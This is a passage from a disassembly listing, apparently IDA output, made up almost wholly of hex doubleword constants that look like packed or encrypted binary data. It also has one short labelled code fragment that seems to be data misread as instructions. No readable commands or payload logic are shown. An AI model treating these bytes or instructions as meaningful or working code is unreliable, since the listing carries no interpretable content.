0E00D12Ah, 1EF1E923h, 50B5338Eh, 1D21BC2Bh, 0C0088A3Fh dd 0B2A0B157h, 52006762h, 6F39F137h, 3C59F90h, 4D046599h dd 0B4F1A909h, 8BC84249h, 0C47357E1h, 89033A55h, 67E37A91h dd 9B00C76Ch, 3EEE79BAh, 1E00F474h, 0EAC5478Fh, 0A6009FADh dd 527BA415h, 29CCAC1h, 0DD3C90B3h, 0C88FF365h, 7529F46Fh dd 791FFCF8h, 998026BFh, 5B0AEBA0h, 0DD9C002Eh, 13338F37h dd 0E4B85201h, 327B8DA1h, 0C88D09C8h, 7FF868BFh, 0C313099Ah dd 0F5002288h, 238C1BA9h, 2819EA01h, 7E9C189Bh, 8E43EF9h dd 3C9F7EAAh, 0BD0F2CA2h, 0EFA9918Ch, 6EA55880h, 800F5B0h dd 80308D24h, 0EDE725h, 32D59194h, 154BD979h, 111E16B8h dd 81C0406Bh, 0A1B56E17h, 36C93822h, 979C72A6h, 8484B6FAh dd 0C096BEh, 5E5D7832h, 5C9080ABh, 0B5181351h, 0B6109A12h dd 0CC351EBCh, 79807D65h, 0C74284E0h, 5C390BDDh, 0B2C88037h dd 7F527214h, 0F3890B9h, 70130861h, 54180F80h, 3F0057ACh dd 7BC85BD5h, 311D3D9h, 0CF5F356Dh, 1102D67Ch, 0FB674036h dd 29005826h, 0D074D1h, 6E6A21BAh, 0C11E3A5Bh, 0BD24C078h dd 0A8B1F317h, 4D0420h, 8008CD82h, 0FBA7C4A6h, 2A47DF00h dd 4EC62678h, 218F6064h, 3354C1ABh, 9A8B9600h, 0E80207B1h dd 9075003Bh, 3DCC710Bh, 4E39ED21h, 0B4621D19h, 50DD6140h dd 9880DC76h, 0EEC403E8h, 69BA4DE6h, 0AC8357B8h, 0A481544Eh dd 7BFC7109h, 0D14F0061h, 53CDFF9Ch, 40BC7A27h, 0BBC0C49Ch dd 0C9B9CF69h, 0D4B30391h, 8846A7C1h, 55BFE99Bh, 3FBE09B5h dd 0F20247DCh, 8F4E286Dh, 7C0740ECh, 1B1473Eh, 9635255Eh dd 0E2505377h, 952FDCC0h, 0C851421Fh, 2B733200h, 9A525ED9h dd 0C0785E50h, 7415FD0h, 7138A404h, 8C80F4B9h, 9565485Dh dd 3C20808Fh, 0F8B7DADBh, 37FCC1Fh, 0AE89261Eh, 846C60A4h dd 1494002Bh, 670FB3C5h, 0F00092B7h, 0BB4AECDCh, 404E37h dd 0B6E3D3C2h, 4DCF6CBEh, 76004891h, 1E738434h, 0FC5500CDh dd 416631C5h ; --------------------------------------------------------------------------- inc ebp loc_505445: ; DATA XREF: ___:off_4374B8o sbb al, [ebx] sub [edi-0Dh], al scasd mov bh, [edi+edx*8+40h] add eax, 0A08F19B4h mov esp, 92005DB8h stc retn 3BE3h ; --------------------------------------------------------------------------- db 14h, 0A2h, 69h dd 0DE441892h, 785616E8h, 43D853D6h, 0B8A58304h, 3B255CE8h dd 0F7E36E03h, 74DEEBEh, 68053FC8h, 87EAB002h, 0EF0FB25Bh dd 6732C2h, 0B31B0EC8h, 0FD1212B8h, 0DE00A136h, 0AB0458E0h dd 960925h, 1DDC2054h, 95B525C0h, 0AEFE70E0h, 374B8600h dd 137BEA85h, 198C3CBAh, 542E4483h, 0DDF8EE65h, 390315BCh dd 4E320E75h, 6FD00010h, 8724E625h, 4A03C417h, 21E33469h dd 4CFEC096h, 1844003Fh, 0EC351E2Fh, 1B007FD4h, 0F46EFB38h dd 0FE8AE1E4h, 69080941h, 0E47071F9h, 0F88B4Ch, 0AC36E21Ch dd 124A9F83h, 0A53F38h, 44E0FA98h, 10937C27h, 0B8B40516h dd 4483153Ch, 884AAC82h, 0C71264E0h, 0C0C04608h, 0FA7862h dd 7B9DECA9h, 0B8CA042Ch, 90071892h, 0AC82AD5Ah, 0CB8C50A0h dd 9B250256h, 0FB1E932Dh, 0F18FEC76h, 9C4097E7h, 0C52E1184h dd 0F8C9503Eh, 82E8201Eh, 225EB22Fh, 40190114h, 0C43F71Ch dd 10BB14AAh, 0CA01B041h, 0ACA6C13Ch, 91ED2EE1h, 36E7DE8h dd 25659D9h, 500643FAh, 3E4F310Dh, 20FD02C9h, 9922B74Ch dd 8F80B85Ch, 40E92825h, 0ECF14C58h, 0D4D56200h, 0BF1141BAh dd 74154F00h, 9B07E8B7h, 1B4A02DFh, 0C5A1AD31h, 24861840h dd 2DC7758h, 880F6D2Fh, 16156196h, 90AC4ECh, 0BA531B94h dd 637B048h, 2602BCB2h, 8E48F814h, 0E594A1D7h, 82E456CDh dd 0F325806Fh, 9D610A08h, 0D0ED01C6h, 0E88969E3h, 28E51D18h dd 0F600AE0h, 1CBCC847h, 990CDCD9h, 494D130h, 0C8ED6E86h dd 2D528049h, 0E205B9DBh, 3313A441h, 70587F80h, 0E5860C71h dd 73A10D01h, 69D9E00h, 5CA1C9AEh, 14E849A2h, 5B01C83Bh dd 0D4E56FCCh, 332AF8D6h, 0F1A07304h, 80EB16AFh, 0D3B62F2Bh dd 0DF7EBC0Eh, 4491E7B3h, 129638F0h, 2BC20072h, 0D7F2469Ch dd 98008BA6h, 4F43ECB3h, 3DE855h, 0A71AB59Eh, 12DD8D76h dd 3E3A9400h, 0C58B45F7h, 0C890E0h, 597FF9E1h, 0BE6583B0h dd 0CC62D501h, 0EBACA4DBh, 7179F0h, 4A9A3C3h, 0B5272A2Bh dd 1E812602h, 40AC0582h, 42211FBh, 744CB823h, 8BACE09Ah dd 70D20106h, 0D1F3A3h, 723DCF10h, 9B18EA33h, 5E00F48h dd 0F838311Ah, 0E024E8F8h, 760580D0h, 55AC4D3Ch, 4EBE1E04h dd 7CA057F1h, 9A3D26B8h, 0A3074198h, 0D0DC57CBh, 0C9D53A2Fh dd 9C68E72Ch, 0F97E6B80h, 75B2C0E2h, 65191C52h, 692685h dd 5CC1A1A2h, 0AE90E0E5h, 78300104h, 34E0AA6Fh, 0DAB801CDh dd 0E5454627h, 0A275DC87h, 0A124DF00h, 8E2914Ah, 0DA7F01F2h dd 3AEA5844h, 0FBE9F4D1h, 34335Dh, 98CACB08h, 0B643508Ch dd 0E0785028h, 3FAF6D02h, 8030F020h, 2480EFF3h, 2EC98h dd 19C03211h, 35F4896Ah, 0CB3B1700h, 0DF927120h, 28121C40h dd 9E7DC0E2h, 298A01F3h, 589CD548h, 8C3A00D4h, 0C4534B2Eh dd 871024D9h, 0E60483E8h, 29C092FDh, 663DF170h, 20B82665h dd 0AE9720Fh, 205D47Bh, 0E845FD0Ch, 20002B7Ah, 0BA1D1A08h dd 427409h, 5B31FFC3h, 0DCFC95E8h, 4EB04C05h, 8FC3527Ah dd 0E30198A4h, 3BE2180Ah, 0C5091858h, 0D1E85D78h, 0BC22418h dd 0CC78F48h, 7F265149h, 973B8468h, 64052C29h, 0C4CD0C81h dd 3181B80Fh, 0FEEE09BEh, 8E218311h, 0C07C49C3h, 5C47167h dd 7A7066E1h, 0AA5C0051h, 0C018F1AFh, 1CC7253Ah, 920044B1h dd 12A13DC3h, 8109008Bh, 0FB3E37CFh, 0D24CC60Eh, 5ADB0087h dd 74B70E2h, 119303FFh, 64E547D8h, 0A71DF4E8h, 3E448017h dd 26188EA8h, 930E7189h, 0A1D0A41Ch, 5D3E8C40h, 6385B7CCh dd 91242036h, 0C3222900h, 72D06F17h, 5FA400FCh, 813DA5DCh dd 0C8A083AFh, 0B9E40B8Dh, 0CE023600h, 1A7E9878h, 4DD2E275h dd 8E00FCFCh, 0C5F077F7h, 60002E03h, 96446AD3h, 153821h dd 0DE019B3Bh, 4A67460Eh, 3D1D7A00h, 8FD40C0Fh, 0F4F854CDh dd 0D087005Bh, 1223D1CCh, 244AF221h, 726BB890h, 0E7A009Bh dd 51A1B1E1h, 3201AE08h, 386C7709h, 40807D37h, 0AF7C2BDh dd 84924C0Eh, 61734236h, 49AD05A8h, 23978BF4h, 297C42CCh dd 0CFC64C00h, 80099C27h, 0F785Bh, 0C3D9240Ah, 8D7E4250h dd 0C4D2C000h, 5E01F114h, 0F8891C0Ch, 9559875Ch, 43360769h dd 1111A623h, 0EC808F02h, 9848E732h, 3135ED88h, 34157F9h dd 58B6DDC6h, 5C33FE04h, 0E0E010F5h, 0C0C9FBE6h, 7281A621h dd 360C3E6Eh, 9471791h, 621C0BCh, 12C8728Ah, 63D61900h dd 88C0D3Fh, 0EBF900F7h, 30B55A66h, 49284EEEh, 7D0638BFh dd 175D86C5h, 0F3232E11h, 0E19E03D5h, 9F1B155h, 802BD156h dd 0B8FB5A21h, 3063D4Fh, 0E563BABFh, 5100B111h, 74C1B341h dd 605E610Bh, 9CA4D9F2h, 1A3FAB0Ch, 9B500069h, 27E6728Ch dd 406600DEh, 0ED03DBB4h, 49C0B311h, 9D886496h, 0A982033Ch dd 0AA5A35F5h, 2101AFA3h, 1E886CFFh, 0F741EBA0h, 0A19E0F3Bh dd 0FCBB4763h, 7D7AD0CFh, 9B011593h, 4D6DCCA6h, 2987053Ah dd 0CA12880Bh, 80841180h, 9ED6B8E5h, 22564351h, 0ED5C0020h dd 5EBEF7B8h, 0F605BFD1h, 92A6B90Bh, 76B5C420h, 0CDA9C0B4h dd 0BDB2867Ch, 77400B00h, 0F3B88E69h, 0F80329DCh, 886D0178h dd 186A3CA0h, 55F488ADh, 0ABBC8900h, 0FF744DD9h, 881E9814h dd 0E6DFE6B0h, 58F26480h, 886B60F6h, 503C6882h, 0A1912Ch dd 318953F6h, 0F86676h, 0F0D88E4Ch, 0DC778A93h, 0FF329A01h dd 35304D06h, 0C1325022h, 10C087E9h, 82015966h, 956FC09Dh dd 0AAC492E1h, 0CC27024Dh, 0C890A699h, 65A48C90h, 0F6411318h dd 68B93B9h, 5C9B8CE0h, 0E0061C7h, 14B9014Ah, 0C2B52B4Bh dd 183F4C28h, 0CEE6F090h, 4D488872h, 48141464h, 5CFD8384h dd 40296693h, 990119F4h, 856D86C9h, 0D448FED4h, 4174060Ch dd 0E86850DBh, 304CC704h, 8C88C5BBh, 0F4048C83h, 0D99ED7B8h dd 59202262h, 0EEB8FCh, 5B5335D1h, 7D5401BBh, 0D0B47B0Ah dd 0A78DB8BEh, 0CEE13194h, 91C5C8BDh, 0EE818970h, 0A29EEDB8h dd 2E443868h, 0B8F60043h, 28552FA3h, 5F304B01h, 457F1F3h dd 3DA800ACh, 56879B11h, 39C0275Ch, 378E65F3h, 138D0084h dd 0F6DC0642h, 8200C18Ch, 0F927A52Eh, 0D0EF5CDBh, 2DB84C31h dd 0CF200E8Ch, 0F26280C0h, 0B084E20Bh, 856608A0h, 45514014h dd 4FC012F0h, 1920F590h, 434C4A91h, 98A18BA2h, 53C38FA7h dd 33F1E69Ch, 40F44806h, 909AFA44h, 0E4E08700h, 15A16020h dd 6647B9Dh, 5C31443Eh, 8900211Eh, 0B8FF564Bh, 3E14638h dd 0A654D098h, 9948439Ah, 48C7CD8h, 3E61729Eh, 20BB626Eh dd 2D72870Bh, 0C8137E26h, 0FF567042h, 97E35B0Eh, 1900A512h dd 7F3DFAFFh, 7CBAD6h, 266507F8h, 0E79CB1D0h, 913CB202h dd 404E0A92h, 0C1BA12BCh, 0E79F8A39h, 0E214FD46h, 1B3BB380h dd 0C1043C4Ah, 19A26265h, 0FC251C8Ch, 446B6731h, 0DFADC029h dd 9A007D8Fh, 5B0CCF34h, 545E6AABh, 484DC4Bh, 0F5010636h dd 0AEC0EFB1h, 0E07107DBh, 0E2B000C2h, 0C937D47Bh, 5630B56Fh dd 59C6F95Eh, 0EED81EECh, 0CA374372h, 830F17Ah, 0E43A5946h dd 6FB30FD8h, 0FC948FA6h, 0AA2E798Fh, 1B5CE182h, 85FBCCA0h dd 640070BAh, 0C3BBADFEh, 9A9576B4h, 9AA719F4h, 225F41B5h dd 0BE150038h, 0F0DD63A0h, 0D58003A6h, 0A74359FEh, 0D06483EAh dd 6202FB46h, 723C9F88h, 0F110AB31h, 761D886Ah, 0B4075DC9h dd 12B30E65h, 0A0211FA2h, 0F56040BCh, 0F02A8C97h, 2FF29F00h dd 27EA01D8h, 725702B5h dd 4414D5A7h, 764C9490h, 9ACDD601h, 7A01993Ah, 341CD845h dd 729B01A3h, 18663E64h, 840C88B2h, 2CC77200h, 8A1DF97h dd 1A0E0AB4h, 8188495Fh, 0EE7045D6h, 1537C09Bh, 58D2B707h dd 0C1C009DBh, 5E3EF97h, 324D384Ah, 0BD048812h, 0BAB488h dd 1A16D853h, 4C5F56C3h, 0DF4E59C0h, 1BA8FC9h, 0DD41620Fh dd 0E85380E2h, 0B42C95F4h, 5D44707Ah, 8750C8h, 73A51A64h dd 5080A02Bh, 2EF00F00h, 179C8568h, 6A2F00CFh, 560206A6h dd 0B45866B7h, 86C1C0B8h, 7CD42954h, 0AC784863h, 0C592A783h dd 9FE7B117h, 0C0FC3808h, 3C9C8861h, 88728A46h, 880769F0h dd 11AED470h, 8F6E8000h, 99A61848h, 12E659B7h, 80184B9h dd 4ACCC385h, 160A66D0h, 80999FEh, 0FA9D1D74h, 16E8E80h dd 1283C928h, 4B848A4h, 0C84D3FD4h, 0C588BC8Ch, 0E0DF3E80h dd 0DB486C00h, 72EC05ACh, 0E1024304h, 898E4F9h, 2160FA9Fh dd 8C0863Eh, 1E7288h, 2C27EF29h, 0A1191276h, 67BACD04h dd 40A05F16h, 2F981CC6h, 276246E5h, 183A7130h, 0DCB829B5h dd 0D2121E11h, 0A49C00B7h, 0D185A5E6h, 42D9FC91h, 0A7FC5F18h dd 0F32EDB76h, 0CB40EC5Dh, 742DFAF6h, 90DE01A2h, 5C6EAB70h dd 0D4218015h, 48BAE23h, 35320039h, 0BF9DF6D1h, 5504820Fh dd 0CDB55D74h, 2CCE1488h, 0A41C2FFDh, 600C6080h, 0D2041C6Ch dd 5024B293h, 0E8B5BC98h, 0A741C3B9h, 0D96FCB9Bh, 3906D158h dd 317D25C9h, 0BF7422h, 0EA8479D6h, 774266A1h, 346A5F26h dd 0A17944A9h, 2918A218h, 9881BEFDh, 0CEEA0099h, 6C972A1Fh dd 609909C4h, 0EB18ADD1h, 9D7B4700h, 481352C9h, 2E4499F5h dd 0D2FF419Ch, 94242C72h, 7921B4h, 0F899F335h, 900174FEh dd 50E05AFDh, 2473D49Bh, 5F3029A2h, 0E19728FFh, 586D59C4h dd 0B2E8B44Ch, 0A83A0D8Ch, 0F4A0F34Ah, 0E500C74Dh, 0E6BD5F79h dd 4866CDB8h, 7680045Eh, 5ABED7E4h, 3239A07Fh, 20C12183h dd 88301788h, 23903EC5h, 0A0D20020h, 373C1450h, 7EDE0712h dd 0FB053431h, 91E02820h, 18B379ECh, 2E621F01h, 9680818Fh dd 70E78BD3h, 0FE882798h, 2931C0B4h, 2596A72Eh, 0C2227100h dd 8ABF355Ch, 0A64D110Ah, 0D2030991h, 5DBC6812h, 0D519C028h dd 2ED09A31h, 0BB988401h, 4E675E5Bh, 0C2FC38C9h, 0EB81B9Eh dd 10C83996h, 92F26686h, 3A4DD517h, 0F28F4031h, 3840D310h dd 0CB66FF1Eh, 3A29FDC1h, 298071A1h, 84018211h, 6FF2D0BAh dd 0B3F67701h, 3DFB40DDh, 613E1023h, 1063B1Dh, 4A90D4B7h dd 0C8C7402h, 3801D673h, 3EE33494h, 8038D465h, 178C2ABCh dd 205F4B32h, 7184C284h, 0BBFAF800h, 0C8E79D9Eh, 40BF1FF4h dd 1B5C731h, 0C85D443Bh, 0E4009FECh, 6202A3C8h, 4046E3h dd 1927F209h, 84F39799h, 7ACEDF00h, 8B86EBF8h, 38EA60DEh dd 0E7598A93h, 2C7DBC18h, 86D090h, 3815360h, 6BF4A70Dh dd 5600EB7Bh, 0CDBE5D85h, 60A3A879h, 1D37E4BBh, 9300E4A6h dd 1247ED3Ah, 788A5E16h, 3FEE0042h, 35AC8CF4h, 9800D541h dd 0CCA7F663h, 24A68D6Fh, 8E08B99Ah, 6B447190h, 0FA0C8CC2h dd 0E6985F00h, 6AE3C8A4h, 54557942h, 34AECA8h, 31D72984h dd 0D0F01D8Ch, 301DD45Bh, 8B05CDBh, 3C00FA9h, 0B64EE3BAh dd 0D3A3EAF3h, 0EC33BBB1h, 407CE7F5h, 0EC4F3Eh, 31F84A92h dd 78E648B7h, 9BB33A34h, 4110C630h, 0BD7020B5h, 0D400BA7Ch dd 0CAC2C07h, 0F7C74Ch, 0BB7E33E9h, 46C04DF9h, 0B631FA0Fh dd 0C24380BAh, 0F042EC4Ah, 0DDEE741Ah, 80410130h, 0D04BEDF6h dd 480008BBh, 0F0E04CD3h, 28D649BAh, 8F6431EFh, 63F85D04h dd 102260B7h, 64E9324Ah, 0F0000CB9h, 67F1965Bh, 58B70C55h dd 0E608664Fh, 1200B8B2h, 4DC89664h, 163094h, 0C6AB2336h dd 0B92BEE67h, 2E27E003h, 64803246h, 61E66018h, 67CC95CCh dd 22B643CDh, 551103E3h, 212DDD96h, 0B1195AFBh, 97606A50h dd 0F4992000h, 47AA2505h, 6408316Dh, 9659C0EBh, 654667F3h dd 1000FB22h, 0D4AA9662h, 3D19BF84h, 9700460Eh, 1E563A94h dd 0C0C193B6h, 0F0571FD0h, 6E2899Eh, 11587355h, 0E53BBC00h dd 864B43FBh, 0CC14F2D7h, 721B508h, 61E52303h, 0C8822485h dd 0C1846636h, 8A66B58h, 0FBD08093h, 76C9EE6h, 8E9B2EA4h dd 0D1D600FFh, 32497BD9h, 26CE852h, 67F2965Ah, 10FA315Dh dd 0E96630Fh, 93D19D5h, 2D9AA280h, 9152B646h, 1E223C8h dd 67FC95D0h, 15280EADh, 298E7CA4h, 1FC85721h, 9C8A8353h dd 0D5E1FB3Eh, 0CDF99F93h, 34418252h, 0DF7A23A9h, 6D1420BEh dd 2B080C27h, 8500FA7Eh, 0C8545956h, 0D071C2D6h, 5448AA49h dd 3B00959Bh, 5908399Eh, 9A25B0h, 0F6187E4Ch, 62C2D1AAh dd 4039EC6Ah, 395BCF08h, 14A9C674h, 5500E9D2h, 0E4456DA7h dd 51CAE27h, 16DA3846h, 86C85FB6h, 2047E9A6h, 4ABB5101h dd 9A36DA31h, 0EF430FE2h, 601CAE5Fh, 0CB40E8DBh, 0EA665DDAh dd 0D6CD0707h, 60E29BB3h, 445BD522h, 0DCF31F1Bh, 0A1DDE389h dd 20F91224h, 56C4C7CBh, 1C3E2498h, 6343FCE5h, 600B411h dd 6477E526h, 240A89E1h, 983351CCh, 4FD83981h, 0F04F19B2h dd 0EEC0E688h, 9FB9440h, 0BF667BA1h, 1D0D4020h, 97249DD2h dd 0F780ECAAh, 3FB089F4h, 0FC8F49CAh, 0B743A608h, 8E180802h dd 6D9E0320h, 9C29A105h, 0F801F266h, 0B7864459h, 30608042h dd 43F6E538h, 0B3221346h, 0E5209C03h, 0A10DE241h, 0F841A9A4h dd 0F500BFDFh, 99492Fh, 6818F779h, 0D3F81C00h, 5432E652h dd 50D0A8BAh, 0B76414D4h, 0E423A8B8h, 0FE95CE01h, 0FA18BD67h dd 571388h, 0AECDBE96h, 2B832881h, 2F3BFB7Ah, 0CF6A18ABh dd 1F041D60h, 0B50ED7h, 220CEAD3h, 0CB642D21h, 6C8863F1h dd 0BB1C00C2h, 8B6ACA09h, 0BC02FC22h, 4AFFCDAEh, 0EC9448D3h dd 0A211006Bh, 23CA6D3Bh, 6701F501h, 6C54B725h, 63F84371h dd 54104806h, 1553F480h, 0ED185CD5h, 514907A6h, 4A26185Bh dd 0FEBB11D6h, 2FCF9109h, 58B883D7h, 0A4083007h, 91F71521h dd 53D3A801h, 0BD2A205Fh, 0C8FCC18Fh, 0C57778F0h, 0CAB16324h dd 0FF6E8501h, 0ECCCBD58h, 685D00FBh, 0C4777BF8h, 84002DCCh dd 0AEB6232h, 0CED8AAEDh, 1B3EFB69h, 0D3B81882h, 8DCABA9h dd 5A3AF500h, 6E53CC2Bh, 0CF267118h, 0A31F89C2h, 0F0C09016h dd 0B4EE8504h, 0DAB231EDh, 2041F859h, 0E3780F38h, 80486349h dd 43FDE539h, 0B7448C3Bh, 0E5210399h, 9667ADB3h, 4440AFE2h dd 4A241810h, 60058026h, 0E8242F20h, 232C8C82h, 8107D449h dd 0CF8A8E73h, 0D2720BE7h, 0CE308072h, 3EC1AB2h, 4C947BBDh dd 0AA9026CAh, 9BF6A26Ch, 23F0C70Eh, 0FA3620FEh, 372FF9D9h dd 3759B14Bh, 0B288F0B6h, 18000C01h, 0A22FF205h, 58224FD7h dd 508F408Bh, 0D027E1E1h, 4A7980C4h, 8D43BB53h, 0DA871215h dd 0E5AC088Bh, 0FD95CFC0h, 0B6B52167h, 96A01667h, 1D8ADC0h dd 2A612114h, 30097A9Ch, 0A4A1598Ch, 0F60031B3h, 11E53730h dd 882B43FFh, 1F9B87B6h, 321000E5h, 5A268483h, 410028E7h dd 63FB1A0Fh, 3581C0EEh, 0FDEA9994h, 0F7F1A200h, 692F7C40h dd 1EC87C1Ah, 26D32266h, 71510FCh, 9DACC10h, 0D04124F5h dd 3C19FE90h, 0D4B8A0FFh, 0B9163AB1h, 73806848h, 0D22219E6h dd 63A1FA09h, 0C6AC20B2h, 12326A2Dh, 590853ABh, 1857E8B0h dd 0F9E5083Dh, 0BFC45B43h, 0E5250540h, 60FA3AB2h, 3C5051FEh dd 37647EF8h, 670BA8h dd 0EEAB3A1Ah, 0E8710087h, 2E3F4819h, 0D258EB01h, 17CE400Fh dd 0EE69F882h, 5C40CD3Bh, 0E45463F8h, 15004CA0h, 9AB5AD40h dd 5A6F30h, 0BB920ADFh, 6CF6FC01h, 0D800D9F0h, 35C38D96h dd 92A5A7E0h, 0C0CDE43Ch, 55720CC9h, 0E714C9BFh, 24D22B57h dd 0E101091Fh, 0F4A75EB2h, 20E07181h, 87CF1952h, 0D15F5738h dd 49CE66h, 87844DB9h, 9FE52780h, 0AD13D978h, 14208BC0h dd 4C0FF930h, 129D10FCh, 0AAF0219Fh, 42B3F1ABh, 18640108h dd 0A6BC20Bh, 0AB7405AFh, 1D089C09h, 801B1104h, 54B4AE4Bh dd 1EFE1B37h, 42CC70BEh, 48D544AAh, 0FA96E79Ch, 58F8BAC3h dd 624FF43h, 7AF4001Ch, 0AF4B20FAh, 65D839C0h, 10A43C1h dd 72B9680Bh, 0F4514E46h, 0D10BF4C7h, 22D63E2Dh, 66A7EDF8h dd 564F0068h, 0D6C9E9CCh, 19C3B049h, 0E8FA32B1h, 1B9FB89h dd 9F5E0FBFh, 50C55320h, 0DE63ABB4h, 9688D450h, 4FCDFA0Ch dd 1E1FE925h, 14327282h, 7C58DC47h, 1940A2Bh, 0AB391A01h dd 881918E6h, 2AECE972h, 5ABCB707h, 90A95D30h, 7CD6BF8Ch dd 339E0093h, 362D7519h, 8402A769h, 0CC39A466h, 49248368h dd 0F8D15AA6h, 84B7000Ch, 0B4FE6441h, 40170B8Dh, 0A200F03Dh dd 9EACEB61h, 0EF169B13h, 0DC2F1417h, 2500B123h, 8D8E6451h dd 2B900289h, 62D0E18Ch, 303A2491h, 2358444Ch, 229AE014h dd 0DAE009E5h, 0C19A8EDh, 0ABF10946h, 1858E048h, 0F185F4DFh dd 4514AA20h, 221431BBh, 0C0CAFCA4h, 0D1E16D61h, 9D00965Dh dd 0A462BBB8h, 5B98606h, 0D33F6BA6h, 0E014CC60h, 773EEEE0h dd 91E58B16h, 20D404EBh, 8EF9B040h, 0CE00D6E7h, 8F2451A9h dd 1D8B69Dh, 17903AB1h, 204D7541h, 1D88C0D0h, 0E3F0F0Dh dd 4960815Ch, 0F7E48844h, 14784C5Dh, 0FC0E1CEh, 96DF69E6h dd 63B3B843h, 17D901E8h, 5DF2AAE4h, 300CF07Fh, 7F44B52h dd 2DF4F907h, 0A3B4DB60h, 653B0094h, 894D2061h, 0A717CBE2h dd 100957F5h, 90EC8A37h, 0C355983Fh, 6F51CDA1h, 0F729E134h dd 22CA9031h, 3315F264h, 41FADDE8h, 0A3DE9E13h, 693B2049h dd 0E1FCFB74h, 6E3E122Fh, 0D1D00975h, 0A4992444h, 0BD18FC71h dd 9F1AA103h, 0EF6B24A6h, 0C0828954h, 19FC30F7h, 4EAB3E08h dd 401A64A7h, 3619E465h, 0F16D1F73h, 5AD15F2Bh, 0CAC068DAh dd 2154591Fh, 5537CDC8h, 2DC7392Ah, 2FE890DBh, 0F29B169Fh dd 53E4020Dh, 0F8729E6Ah, 74658CA2h, 0DD60B5E4h, 5805C8F1h dd 149E1808h, 0AE4F9801h, 2992B8B6h, 809C04CCh, 1FD8035Bh dd 602904E6h, 40CA72D1h, 3A47C527h, 63D50F8Eh, 80FCA34Bh dd 1BF9A946h, 36030448h, 0C7FDC29Dh, 9BE10014h, 86704D26h dd 0C1608464h, 1C4AE830h, 7850071h, 2FC8D9ABh, 7891D062h dd 75CEEE03h, 1378A047h, 0A22400AFh, 6C522AE4h, 0A417B765h dd 0F0279EEDh, 752E1611h, 3120B184h, 870C4BCDh, 0FF87F720h dd 0F8E12EC6h, 623804F2h, 97D340AAh, 0FB28BC14h, 0CFC6050h dd 19E3168Ch, 0FC605037h, 70818CC8h, 3DB419EBh, 0F21EE0h dd 77C3396Dh, 4238102Dh, 474904Ah, 0A8F4CD1h, 311F6876h dd 9035E56Bh, 10ACB289h, 2C0E6780h, 82805A6Ch, 99A8641h dd 0A298020Bh, 61A04AE6h, 0BB10AA84h, 0BA005154h, 8AFCA2D8h dd 1F4239Dh, 971AA690h, 68B8D6AAh, 8CF8BC30h, 237639E6h dd 0C54444Ch, 81E7AE2Bh, 0D170B189h, 6D188Ch, 0B4A3DDA0h dd 88E414FBh, 80644A4Ch, 7D121335h, 0E8CD0054h, 1C461596h dd 4A00BE8Ch, 6D2EAF4h, 4F9C2AADh, 4F20030Ah, 0C0A4329Eh dd 6683A930h, 0A2FED40h, 0C6B3EF0Ah, 911826A4h, 36338E89h dd 0F8C8888Eh, 83D178C0h, 30C80016h, 0FAA081EDh, 6D4B828Eh dd 149ECC22h, 56038E9h, 4B38F308h, 993888h, 44963483h dd 0F7A0A53Ah, 0AB267090h, 76F488D6h, 64C80051h, 12F7E386h dd 0F6136A19h, 50C0B84Fh, 87DF407h, 31CA47D8h, 3022BC28h dd 0C7FC26B5h, 8F504070h, 0E1069827h, 13B811D5h, 1820DE1h dd 1F12FF5h, 0FC58E284h, 10A4EAC7h, 310DF0C9h, 5C1858E4h dd 494CE312h, 0F723502Fh, 1B7DDE00h, 0B293CCCh, 0FA462FD2h dd 0E1C3A861h, 6149E02Bh, 4A5BA678h, 0F723102Eh, 4632B300h dd 1E82FE47h, 905007D1h, 22C04C26h, 0D9193FA9h, 58F99800h dd 3DAC8A1Ah, 0BE478900h, 80754F2Eh, 0E16916E4h, 507C42F7h dd 20791F5Bh, 8491F38Bh, 20F30FFAh, 1800A322h, 8539910Ch dd 22D76177h, 0A904C6CFh, 90A09547h, 0F1A420D2h, 18F77954h dd 974D01DFh, 4B470A6Ah, 8A7980A7h, 5AA4C755h, 0BCF7005Dh dd 0D1EF19CDh, 0EE0E2A9Fh, 8262667Fh, 0D9CC8DD7h, 3C29025Ch dd 0FE00EA5Ah, 0B6E59EDDh, 1E560118h, 80A5A724h, 0A9B0B5C0h dd 7839E90h, 0D514640Eh, 8C57B25Dh, 80C3F5E2h, 92AB893Eh dd 5C2261EEh, 1350ECEBh, 80586B2Fh, 506C3598h, 20463118h dd 0EEF25469h, 291A00C7h, 84250F44h, 2FF42D9Bh, 0D9A1FD00h dd 0A7A8DF63h, 8A2E006Ah, 7205F204h, 9807838Bh, 0D0ABAE41h dd 0D2F7A540h, 3C9F1FE6h, 0B4B7C7F5h, 730381AFh, 354FF0EBh dd 0DE08F000h, 46043DFh, 8A0500EAh, 5463B720h, 680238A1h dd 9AF29140h, 97B4C0CBh, 0E21900F1h, 0A53ECC46h, 0DD5BC794h dd 80D01422h, 0FDDA30A0h, 0AB9C25EDh, 40C36C24h, 1395317Bh dd 0A87017C0h, 23303A6Ch, 0C59200B3h, 4D432FB0h, 80E4CA5Ch dd 10149034h, 0B9AE009Dh, 0ED77B8B1h, 0CA07E325h, 227251A3h dd 0E1D23962h, 0EBCCBFF4h, 7C640782h, 0CADE42F8h, 16AD38B3h dd 0FB91B89Dh, 4AF77F80h, 0F6391727h, 2555814Dh, 0E0DA548Bh dd 0AFD93021h, 3002063h, 7ACF52E6h, 0B700B56Ch, 1DDCB225h dd 58612099h, 8002C394h, 0D65A5424h, 0B2D930F1h, 0E21DD118h dd 0E3451256h, 0C4884A78h, 3E4F75E0h, 3DA45773h, 42BC1D77h dd 1C8CFA33h, 0EA7EA0C0h, 0E4E0EC83h, 0D14C995Ch, 2B518E6h dd 4E3080BCh, 0B082342Eh, 0CC71CB66h, 0DD191A71h, 0DC4CD188h dd 420B459Ch, 2AC9E66h, 0F98BC6A8h, 792C0F1Ch, 5E15A0A7h dd 5835DF80h, 921352C5h, 0E0DBD951h, 4ABBCE80h, 0E073C0Bh dd 92AC26B9h, 0A065F1F0h, 315A02E3h, 54253271h, 433E5072h dd 0A0B8327Eh, 20A46196h, 913AF418h, 1107A359h, 0D1B00A2h dd 821E1791h, 50FF2D12h, 0BF11E497h, 356CE683h, 0FAE3EB88h dd 0FAC75D39h, 4EA19A00h, 0B05C25FBh, 2A16284Fh, 0D32F0CCCh dd 0A9F9C8CFh, 87BF0D00h, 0EFB7CB32h, 757000E8h, 0B2522765h dd 1C27C6AEh, 4470167Bh, 80F1C76Eh, 26622419h, 37F2A0h dd 7BB1972Ch, 0A5881294h, 0AE20D43Fh, 83438E9h, 0E35BBCC1h dd 8C2DC064h, 283AD099h, 28C90C57h, 56B4E84Ah, 79D1007Ah dd 3B411649h, 0A2F6FE7h, 0C02C29BFh, 9E5620B8h, 9E438294h dd 1CD1A6B2h, 52562189h, 